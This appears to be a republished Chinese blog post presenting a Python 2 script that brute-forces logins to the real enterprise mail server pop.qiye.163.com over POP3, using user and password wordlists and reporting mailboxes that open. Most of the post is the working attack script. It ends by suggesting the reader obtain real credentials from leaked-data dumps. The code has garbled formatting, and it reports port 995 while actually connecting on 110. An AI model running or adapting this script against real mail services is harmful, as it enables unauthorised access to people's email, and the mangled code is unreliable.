python制作企业邮箱的爆破脚本
|
按照师傅给的任务，写了一个企业邮箱的爆破脚本，后续还有FTP,SSH等一些爆破的脚本。 我先说下整体思路： 总体就是利用python的poplib模块来从pop3服务器上交互，根据获取的相关信息，产生结果。POP3协议并不复杂，它也是采用的一问一答式的方式，你向服务器发送一个命令，服务器必然会回复一个信息. 1.首先验证参数是否正确 Sys.argv[]是用来获取命令行参数的，sys.argv[0]表示代码本身文件路径，所以参数从1开始 2.然后从用户密码文件中读取信息
server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
pring user,passwd
5.最后输出出来相关的用户信息 脚本代码如下：
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author：joy_nick
@博客：http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''
import threading,time,random,sys,poplib
from copy import copy
if len(sys.argv) !=3:
print "t --------------------------------------------------n"
print "t Usage: ./Emailpopbrute.py <userlist> <passlist>n"
sys.exit(1)
server = "pop.qiye.163.com"
success = []
try:
users = open(sys.argv[1],"r").readlines()
except(IOError):
print "[-] Error: urerlist打开失败!n"
sys.exit(1)
try:
words = open(sys.argv[2],"r").readlines()
except(IOError):
print "[-] Error: passlist打开失败!n"
sys.exit(1)
try:
pop = poplib.POP3(server,110)
welcome = pop.getwelcome()
print welcome
pop.quit()
except (poplib.error_proto):
welcome = "No Response"
pass
def mailbruteforce(listuser,listpwd):
if len(listuser) < 1 or len(listpwd) < 1 :
print "An error occurred: No user or pass list"
return 1
for user in listuser:
for value in listpwd :
user = user.replace("n","")
value = value.replace("n","")
try:
print "-"*12
print "[+] User:",user,"Password:",value
time.sleep(1)
pop = poplib.POP3(server,110)
pop.user(user)
auth = pop.pass_(value)
print auth
if auth.split(' ')[0]!= "+OK" :
pop.quit()
print "unknown error !"
continue
if pop.stat()[1] is None or pop.stat()[1] < 1 :
pop.quit()
print "获取信息失败!"
continue
ret = (user,value,pop.stat()[0],pop.stat()[1])
success.append(ret)
pop.quit()
break
except:
#print "An error occurred:",msg
pass
print "t --------------------------------------------------n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"n"
mailbruteforce(users,words)
print "t[+] have weakpass :t",len(success)
if len(success) >=1:
for ret in success:
print "nn[+] Login successful:",ret[0],ret[1]
print "t[+] Mail:",ret[2],"emails"
print "t[+] Size:",ret[3],"bytesn"
print "n[-] Done"
测试结果：
说明： 用户字典文件需要@domain.com，类似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com这样的。由于我也没有企业邮箱的账号密码，也就没测试成功的，要是感兴趣，可以搜一下相关社工裤。 附： python 中 os._exit()， sys.exit()， exit() 的区别是什么？
pop3收取邮件的过程一般是:
命令 poplib方法 参数 状态 描述 （编辑：李大同） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
